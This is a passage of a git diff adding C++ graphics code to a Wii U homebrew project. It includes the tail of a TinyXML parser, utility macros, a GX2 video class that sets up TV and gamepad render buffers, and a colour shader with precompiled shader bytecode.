""; + + while ( p && *p ) + { + if ( *p == '>' ) + { + ++p; + return p; + } + + p = SkipWhiteSpace( p, _encoding ); + if ( StringEqual( p, "version", true, _encoding ) ) + { + TiXmlAttribute attrib; + p = attrib.Parse( p, data, _encoding ); + version = attrib.Value(); + } + else if ( StringEqual( p, "encoding", true, _encoding ) ) + { + TiXmlAttribute attrib; + p = attrib.Parse( p, data, _encoding ); + encoding = attrib.Value(); + } + else if ( StringEqual( p, "standalone", true, _encoding ) ) + { + TiXmlAttribute attrib; + p = attrib.Parse( p, data, _encoding ); + standalone = attrib.Value(); + } + else + { + // Read over whatever it is. + while( p && *p && *p != '>' && !IsWhiteSpace( *p ) ) + ++p; + } + } + return 0; +} + +bool TiXmlText::Blank() const +{ + for ( unsigned i=0; i +#include "../common/types.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define FlushBlock(addr) asm volatile("dcbf %0, %1\n" \ + "icbi %0, %1\n" \ + "sync\n" \ + "eieio\n" \ + "isync\n" \ + : \ + :"r"(0), "r"(((addr) & ~31)) \ + :"memory", "ctr", "lr", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" \ + ); + +#define LIMIT(x, min, max) \ + ({ \ + typeof( x ) _x = x; \ + typeof( min ) _min = min; \ + typeof( max ) _max = max; \ + ( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \ + }) + +#define DegToRad(a) ( (a) * 0.01745329252f ) +#define RadToDeg(a) ( (a) * 57.29577951f ) + +#define ALIGN4(x) (((x) + 3) & ~3) +#define ALIGN32(x) (((x) + 31) & ~31) + +// those work only in powers of 2 +#define ROUNDDOWN(val, align) ((val) & ~(align-1)) +#define ROUNDUP(val, align) ROUNDDOWN(((val) + (align-1)), align) + +#define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8))) +#define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16))) +#define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) + +#ifdef __cplusplus +} +#endif + +#endif // __UTILS_H_ diff --git a/src/video/CVideo.cpp b/src/video/CVideo.cpp new file mode 100644 index 0000000..63d134b --- /dev/null +++ b/src/video/CVideo.cpp @@ -0,0 +1,290 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "CVideo.h" +#include "system/memory.h" +#include "shaders/Texture2DShader.h" +#include "shaders/ColorShader.h" +#include "shaders/Shader3D.h" +#include "shaders/ShaderFractalColor.h" +#include "shaders/FXAAShader.h" +#include "dynamic_libs/os_functions.h" + +CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) +{ + tvEnabled = false; + drcEnabled = false; + + //! allocate MEM2 command buffer memory + gx2CommandBuffer = MEM2_alloc(GX2_COMMAND_BUFFER_SIZE, 0x40); + + //! initialize GX2 command buffer + u32 gx2_init_attributes[9]; + gx2_init_attributes[0] = GX2_INIT_ATTRIB_CB_BASE; + gx2_init_attributes[1] = (u32)gx2CommandBuffer; + gx2_init_attributes[2] = GX2_INIT_ATTRIB_CB_SIZE; + gx2_init_attributes[3] = GX2_COMMAND_BUFFER_SIZE; + gx2_init_attributes[4] = GX2_INIT_ATTRIB_ARGC; + gx2_init_attributes[5] = 0; + gx2_init_attributes[6] = GX2_INIT_ATTRIB_ARGV; + gx2_init_attributes[7] = 0; + gx2_init_attributes[8] = GX2_INIT_ATTRIB_NULL; + GX2Init(gx2_init_attributes); + + //! GX2 resources are not used in this application but if needed, the allocator is setup + GX2RSetAllocator(&CVideo::GX2RAlloc, &CVideo::GX2RFree); + + u32 scanBufferSize = 0; + s32 scaleNeeded = 0; + + s32 tvScanMode = (forceTvScanMode >= 0) ? forceTvScanMode : GX2GetSystemTVScanMode(); + s32 drcScanMode = (forceDrcScanMode >= 0) ? forceDrcScanMode : GX2GetSystemDRCScanMode(); + + s32 tvRenderMode; + u32 tvWidth = 0; + u32 tvHeight = 0; + + switch(tvScanMode) + { + case GX2_TV_SCAN_MODE_480I: + case GX2_TV_SCAN_MODE_480P: + tvWidth = 854; + tvHeight = 480; + tvRenderMode = GX2_TV_RENDER_480_WIDE; + break; + case GX2_TV_SCAN_MODE_1080I: + case GX2_TV_SCAN_MODE_1080P: + tvWidth = 1920; + tvHeight = 1080; + tvRenderMode = GX2_TV_RENDER_1080; + break; + case GX2_TV_SCAN_MODE_720P: + default: + tvWidth = 1280; + tvHeight = 720; + tvRenderMode = GX2_TV_RENDER_720; + break; + } + + s32 tvAAMode = GX2_AA_MODE_1X; + s32 drcAAMode = GX2_AA_MODE_4X; + + //! calculate the scale factor for later texture resize + widthScaleFactor = 1.0f / (f32)tvWidth; + heightScaleFactor = 1.0f / (f32)tvHeight; + depthScaleFactor = widthScaleFactor; + + //! calculate the size needed for the TV scan buffer and allocate the buffer from bucket memory + GX2CalcTVSize(tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded); + tvScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); + GX2Invalidate(GX2_INVALIDATE_CPU, tvScanBuffer, scanBufferSize); + GX2SetTVBuffer(tvScanBuffer, scanBufferSize, tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE); + + //! calculate the size needed for the DRC scan buffer and allocate the buffer from bucket memory + GX2CalcDRCSize(drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded); + drcScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); + GX2Invalidate(GX2_INVALIDATE_CPU, drcScanBuffer, scanBufferSize); + GX2SetDRCBuffer(drcScanBuffer, scanBufferSize, drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE); + + //! Setup color buffer for TV rendering + GX2InitColorBuffer(&tvColorBuffer, GX2_SURFACE_DIM_2D, tvWidth, tvHeight, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, tvAAMode); + tvColorBuffer.surface.image_data = MEM1_alloc(tvColorBuffer.surface.image_size, tvColorBuffer.surface.align); + GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.surface.image_data, tvColorBuffer.surface.image_size); + + //! due to AA we can only use 16 bit depth buffer in MEM1 otherwise we would have to switch to mem2 for depth buffer + //! this should be ok for our purpose i guess + + //! Setup TV depth buffer (can be the same for both if rendered one after another) + u32 size, align; + GX2InitDepthBuffer(&tvDepthBuffer, GX2_SURFACE_DIM_2D, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, tvAAMode); + tvDepthBuffer.surface.image_data = MEM1_alloc(tvDepthBuffer.surface.image_size, tvDepthBuffer.surface.align); + GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.surface.image_data, tvDepthBuffer.surface.image_size); + + //! Setup TV HiZ buffer + GX2CalcDepthBufferHiZInfo(&tvDepthBuffer, &size, &align); + tvDepthBuffer.hiZ_data = MEM1_alloc(size, align); + GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.hiZ_data, size); + GX2InitDepthBufferHiZEnable(&tvDepthBuffer, GX2_ENABLE); + + //! Setup color buffer for DRC rendering + GX2InitColorBuffer(&drcColorBuffer, GX2_SURFACE_DIM_2D, 854, 480, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, drcAAMode); + drcColorBuffer.surface.image_data = MEM1_alloc(drcColorBuffer.surface.image_size, drcColorBuffer.surface.align); + GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.surface.image_data, drcColorBuffer.surface.image_size); + + //! Setup DRC depth buffer (can be the same for both if rendered one after another) + GX2InitDepthBuffer(&drcDepthBuffer, GX2_SURFACE_DIM_2D, drcColorBuffer.surface.width, drcColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, drcAAMode); + drcDepthBuffer.surface.image_data = MEM1_alloc(drcDepthBuffer.surface.image_size, drcDepthBuffer.surface.align); + GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.surface.image_data, drcDepthBuffer.surface.image_size); + + //! Setup DRC HiZ buffer + GX2CalcDepthBufferHiZInfo(&drcDepthBuffer, &size, &align); + drcDepthBuffer.hiZ_data = MEM1_alloc(size, align); + GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.hiZ_data, size); + GX2InitDepthBufferHiZEnable(&drcDepthBuffer, GX2_ENABLE); + + + //! allocate auxilary buffer last as there might not be enough MEM1 left for other stuff after that + if (tvColorBuffer.surface.aa) + { + u32 auxSize, auxAlign; + GX2CalcColorBufferAuxInfo(&tvColorBuffer, &auxSize, &auxAlign); + tvColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign); + if(!tvColorBuffer.aux_data) + tvColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign); + + tvColorBuffer.aux_size = auxSize; + memset(tvColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize); + GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.aux_data, auxSize); + } + + if (drcColorBuffer.surface.aa) + { + u32 auxSize, auxAlign; + GX2CalcColorBufferAuxInfo(&drcColorBuffer, &auxSize, &auxAlign); + drcColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign); + if(!drcColorBuffer.aux_data) + drcColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign); + drcColorBuffer.aux_size = auxSize; + memset(drcColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize); + GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.aux_data, auxSize ); + } + + //! allocate memory and setup context state TV + tvContextState = (GX2ContextState*)MEM2_alloc(sizeof(GX2ContextState), GX2_CONTEXT_STATE_ALIGNMENT); + GX2SetupContextStateEx(tvContextState, GX2_TRUE); + + //! allocate memory and setup context state DRC + drcContextState = (GX2ContextState*)MEM2_alloc(sizeof(GX2ContextState), GX2_CONTEXT_STATE_ALIGNMENT); + GX2SetupContextStateEx(drcContextState, GX2_TRUE); + + //! set initial context state and render buffers + GX2SetContextState(tvContextState); + GX2SetColorBuffer(&tvColorBuffer, GX2_RENDER_TARGET_0); + GX2SetDepthBuffer(&tvDepthBuffer); + + GX2SetContextState(drcContextState); + GX2SetColorBuffer(&drcColorBuffer, GX2_RENDER_TARGET_0); + GX2SetDepthBuffer(&drcDepthBuffer); + + //! set initial viewport + GX2SetViewport(0.0f, 0.0f, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 0.0f, 1.0f); + GX2SetScissor(0, 0, tvColorBuffer.surface.width, tvColorBuffer.surface.height); + + //! this is not necessary but can be used for swap counting and vsyncs + GX2SetSwapInterval(1); + + //GX2SetTVGamma(0.8f); + //GX2SetDRCGamma(0.8f); + + //! initialize perspective matrix + const float cam_X_rot = 25.0f; + + projectionMtx = glm::perspective(45.0f, 1.0f, 0.1f, 100.0f); + + viewMtx = glm::mat4(1.0f); + viewMtx = glm::translate(viewMtx, glm::vec3(0.0f, 0.0f, -2.5f)); + viewMtx = glm::rotate(viewMtx, DegToRad(cam_X_rot), glm::vec3(1.0f, 0.0f, 0.0f)); + + GX2InitSampler(&aaSampler, GX2_TEX_CLAMP_CLAMP, GX2_TEX_XY_FILTER_BILINEAR); + GX2InitTexture(&tvAaTexture, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, 0, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_DEFAULT); + tvAaTexture.surface.image_data = tvColorBuffer.surface.image_data; + tvAaTexture.surface.image_size = tvColorBuffer.surface.image_size; + tvAaTexture.surface.mip_data = tvColorBuffer.surface.mip_data; +} + +CVideo::~CVideo() +{ + //! flush buffers + GX2Flush(); + GX2DrawDone(); + //! shutdown + GX2Shutdown(); + //! free command buffer memory + MEM2_free(gx2CommandBuffer); + //! free scan buffers + MEMBucket_free(tvScanBuffer); + MEMBucket_free(drcScanBuffer); + //! free color buffers + MEM1_free(tvColorBuffer.surface.image_data); + MEM1_free(drcColorBuffer.surface.image_data); + //! free depth buffers + MEM1_free(tvDepthBuffer.surface.image_data); + MEM1_free(tvDepthBuffer.hiZ_data); + MEM1_free(drcDepthBuffer.surface.image_data); + MEM1_free(drcDepthBuffer.hiZ_data); + //! free context buffers + MEM2_free(tvContextState); + MEM2_free(drcContextState); + //! free aux buffer + if(tvColorBuffer.aux_data) + { + if(((u32)tvColorBuffer.aux_data & 0xF0000000) == 0xF0000000) + MEM1_free(tvColorBuffer.aux_data); + else + MEM2_free(tvColorBuffer.aux_data); + } + if(drcColorBuffer.aux_data) + { + if(((u32)drcColorBuffer.aux_data & 0xF0000000) == 0xF0000000) + MEM1_free(drcColorBuffer.aux_data); + else + MEM2_free(drcColorBuffer.aux_data); + } + //! destroy shaders + ColorShader::destroyInstance(); + FXAAShader::destroyInstance(); + Shader3D::destroyInstance(); + ShaderFractalColor::destroyInstance(); + Texture2DShader::destroyInstance(); +} + +void CVideo::renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler) +{ + resolution[0] = texture->surface.width; + resolution[1] = texture->surface.height; + + GX2Invalidate(GX2_INVALIDATE_COLOR_BUFFER | GX2_INVALIDATE_TEXTURE, texture->surface.image_data, texture->surface.image_size); + + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS); + FXAAShader::instance()->setShaders(); + FXAAShader::instance()->setAttributeBuffer(); + FXAAShader::instance()->setResolution(resolution); + FXAAShader::instance()->setTextureAndSampler(texture, sampler); + FXAAShader::instance()->draw(); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); +} + +void* CVideo::GX2RAlloc(u32 flags, u32 size, u32 align) +{ + //! min. alignment + if (align < 4) + align = 4; + + if ((flags & 0x2040E) && !(flags & 0x40000)) + return MEM1_alloc(size, align); + else + return MEM2_alloc(size, align); +} + +void CVideo::GX2RFree(u32 flags, void* p) +{ + if ((flags & 0x2040E) && !(flags & 0x40000)) + MEM1_free(p); + else + MEM2_free(p); +} diff --git a/src/video/CVideo.h b/src/video/CVideo.h new file mode 100644 index 0000000..e9b457e --- /dev/null +++ b/src/video/CVideo.h @@ -0,0 +1,202 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef __CVIDEO_H_ +#define __CVIDEO_H_ + +#include "dynamic_libs/gx2_functions.h" +#include "shaders/Shader.h" + +class CVideo +{ +public: + CVideo(s32 forceTvScanMode = -1, s32 forceDrcScanMode = -1); + virtual ~CVideo(); + + void prepareTvRendering(void) { + currContextState = tvContextState; + currColorBuffer = &tvColorBuffer; + currDepthBuffer = &tvDepthBuffer; + prepareRendering(); + } + + void prepareDrcRendering(void) { + currContextState = drcContextState; + currColorBuffer = &drcColorBuffer; + currDepthBuffer = &drcDepthBuffer; + prepareRendering(); + } + + void prepareRendering(void) { + GX2ClearColor(currColorBuffer, 0.0f, 0.0f, 0.0f, 1.0f); + GX2ClearDepthStencilEx(currDepthBuffer, currDepthBuffer->clear_depth, currDepthBuffer->clear_stencil, GX2_CLEAR_BOTH); + + GX2SetContextState(currContextState); + GX2SetViewport(0.0f, 0.0f, currColorBuffer->surface.width, currColorBuffer->surface.height, 0.0f, 1.0f); + GX2SetScissor(0, 0, currColorBuffer->surface.width, currColorBuffer->surface.height); + + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + GX2SetColorControl(GX2_LOGIC_OP_COPY, 1, GX2_DISABLE, GX2_ENABLE); + GX2SetBlendControl(GX2_RENDER_TARGET_0, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD, GX2_ENABLE, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD); + GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_DISABLE, GX2_ENABLE); + } + + void setStencilRender(bool bEnable) + { + if(bEnable) + { + GX2SetStencilMask(0xff, 0xff, 0x01, 0xff, 0xff, 0x01); + GX2SetDepthStencilControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_LEQUAL, GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE, + GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE); + } + else + { + GX2SetStencilMask(0xff, 0xff, 0xff, 0xff, 0xff, 0xff); + GX2SetDepthStencilControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL, GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, + GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP); + } + } + + void drcDrawDone(void) { + //! on DRC we do a hardware AA because FXAA does not look good + //renderFXAA(&drcAaTexture, &aaSampler); + GX2CopyColorBufferToScanBuffer(&drcColorBuffer, GX2_SCAN_TARGET_DRC_FIRST); + } + + void tvDrawDone(void) { + renderFXAA(&tvAaTexture, &aaSampler); + GX2CopyColorBufferToScanBuffer(&tvColorBuffer, GX2_SCAN_TARGET_TV); + GX2SwapScanBuffers(); + GX2Flush(); + } + + void waitForVSync(void) { + GX2WaitForVsync(); + frameCount++; + } + + void tvEnable(bool bEnable) { + if(tvEnabled != bEnable) + { + GX2SetTVEnable(bEnable ? GX2_ENABLE : GX2_DISABLE); + tvEnabled = bEnable; + } + } + void drcEnable(bool bEnable) { + if(drcEnabled != bEnable) + { + GX2SetDRCEnable(bEnable ? GX2_ENABLE : GX2_DISABLE); + drcEnabled = bEnable; + } + } + + u32 getFrameCount(void) const { + return frameCount; + } + + u32 getTvWidth(void) const { + return tvColorBuffer.surface.width; + } + u32 getTvHeight(void) const { + return tvColorBuffer.surface.height; + } + + u32 getDrcWidth(void) const { + return drcColorBuffer.surface.width; + } + u32 getDrcHeight(void) const { + return drcColorBuffer.surface.height; + } + + const glm::mat4 & getProjectionMtx(void) const { + return projectionMtx; + } + const glm::mat4 & getViewMtx(void) const { + return viewMtx; + } + + f32 getWidthScaleFactor(void) const { + return widthScaleFactor; + } + f32 getHeightScaleFactor(void) const { + return heightScaleFactor; + } + f32 getDepthScaleFactor(void) const { + return depthScaleFactor; + } + + void screenPosToWorldRay(f32 posX, f32 posY, glm::vec3 & rayOrigin, glm::vec3 & rayDirection) + { + //! normalize positions + posX = 2.0f * posX * getWidthScaleFactor(); + posY = 2.0f * posY * getHeightScaleFactor(); + + glm::vec4 rayStart(posX, posY, 0.0f, 1.0f); + glm::vec4 rayEnd(posX, posY, 1.0f, 1.0f); + + glm::mat4 IMV = glm::inverse(projectionMtx * viewMtx); + glm::vec4 rayStartWorld = IMV * rayStart; + rayStartWorld /= rayStartWorld.w; + + glm::vec4 rayEndWorld = IMV * rayEnd; + rayEndWorld /= rayEndWorld.w; + + glm::vec3 rayDirectionWorld(rayEndWorld - rayStartWorld); + rayDirectionWorld = glm::normalize(rayDirectionWorld); + + rayOrigin = glm::vec3(rayStartWorld); + rayDirection = glm::normalize(rayDirectionWorld); + } +private: + static void *GX2RAlloc(u32 flags, u32 size, u32 align); + static void GX2RFree(u32 flags, void* p); + + void renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler); + + void *gx2CommandBuffer; + + void *tvScanBuffer; + void *drcScanBuffer; + + u32 frameCount; + f32 widthScaleFactor; + f32 heightScaleFactor; + f32 depthScaleFactor; + + bool tvEnabled; + bool drcEnabled; + + GX2ColorBuffer tvColorBuffer; + GX2DepthBuffer tvDepthBuffer; + GX2ColorBuffer drcColorBuffer; + GX2DepthBuffer drcDepthBuffer; + + GX2ContextState *tvContextState; + GX2ContextState *drcContextState; + + GX2ContextState *currContextState; + GX2ColorBuffer *currColorBuffer; + GX2DepthBuffer *currDepthBuffer; + + GX2Texture tvAaTexture; + GX2Sampler aaSampler; + + glm::mat4 projectionMtx; + glm::mat4 viewMtx; + glm::vec2 resolution; +}; + +#endif // __GX2_VIDEO_H_ diff --git a/src/video/shaders/ColorShader.cpp b/src/video/shaders/ColorShader.cpp new file mode 100644 index 0000000..d8e963e --- /dev/null +++ b/src/video/shaders/ColorShader.cpp @@ -0,0 +1,167 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "ColorShader.h" + +static const u32 cpVertexShaderProgram[] = +{ + 0x00000000,0x00008009,0x20000000,0x000078a0, + 0x3c200000,0x88060094,0x00c00000,0x88062014, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00a11f00,0xfc00620f,0x02490001,0x80000040, + 0xfd041f80,0x900c0060,0x83f9223e,0x0000803f, + 0xfe282001,0x10000040,0xfe001f80,0x00080060, + 0xfeac9f80,0xfd00624f,0xdb0f49c0,0xdb0fc940, + 0xfea81f80,0x9000e02f,0x83f9223e,0x00000000, + 0xfe041f80,0x00370000,0xffa01f00,0x80000000, + 0xff101f00,0x800c0020,0x7f041f80,0x80370000, + 0x0000103f,0x00000000,0x02c51f00,0x80000000, + 0xfea41f00,0x80000020,0xffa09f00,0x80000040, + 0xff001f80,0x800c0060,0x398ee33f,0x0000103f, + 0x02c41f00,0x9000e00f,0x02c59f01,0x80000020, + 0xfea81f00,0x80000040,0x02c19f80,0x9000e06f, + 0x398ee33f,0x00000000,0x02c11f01,0x80000000, + 0x02c49f80,0x80000060,0x02e08f01,0xfe0c620f, + 0x02c01f80,0x7f00622f,0xfe242000,0x10000000, + 0xfe20a080,0x10000020,0xf2178647,0x49c0e9fb, + 0xfbbdb2ab,0x768ac733 +}; + +static const u32 cpVertexShaderRegs[] = { + 0x00000103,0x00000000,0x00000000,0x00000001, + 0xffffff00,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0x00000000,0xfffffffc, + 0x00000002,0x00000001,0x00000000,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x00000000,0x0000000e,0x00000010 +}; + +static const u32 cpPixelShaderProgram[] = +{ + 0x20000000,0x00000ca0,0x00000000,0x88062094, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00002000,0x90000000,0x0004a000,0x90000020, + 0x00082001,0x90000040,0x000ca081,0x90000060, + 0xbb7dd898,0x9746c59c,0xc69b00e7,0x03c36218 +}; +static const u32 cpPixelShaderRegs[] = { + 0x00000001,0x00000002,0x14000001,0x00000000, + 0x00000001,0x00000100,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x0000000f,0x00000001,0x00000010, + 0x00000000 +}; + +ColorShader * ColorShader::shaderInstance = NULL; + +ColorShader::ColorShader() + : vertexShader(cuAttributeCount) +{ + //! create pixel shader + pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); + + colorIntensityLocation = 0; + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); + + //! create vertex shader + vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); + + angleLocation = 0; + offsetLocation = 4; + scaleLocation = 8; + vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff }); + + colorLocation = 1; + positionLocation = 0; + vertexShader.addAttribVar((GX2AttribVar){ "attr_color", GX2_VAR_TYPE_VEC4, 0, colorLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); + + //! setup attribute streams + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), colorLocation, 1, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM); + + //! create fetch shader + fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); + + //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 + positionVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, cuPositionVtxsSize); + if(positionVtxs) + { + //! position vertex structure + int i = 0; + positionVtxs[i++] = -1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f; + positionVtxs[i++] = 1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f; + positionVtxs[i++] = 1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; + positionVtxs[i++] = -1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, positionVtxs, cuPositionVtxsSize); + } +} + +ColorShader::~ColorShader() +{ + if(positionVtxs) + { + free(positionVtxs); + positionVtxs = NULL; + } + + delete fetchShader; + fetchShader = NULL; +} diff --git a/src/video/shaders/ColorShader.h b/src/video/shaders/ColorShader.h new file mode 100644 index 0000000..35c13b6 --- /dev/null +++ b/src/video/shaders/ColorShader.h @@ -0,0 +1,100 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + 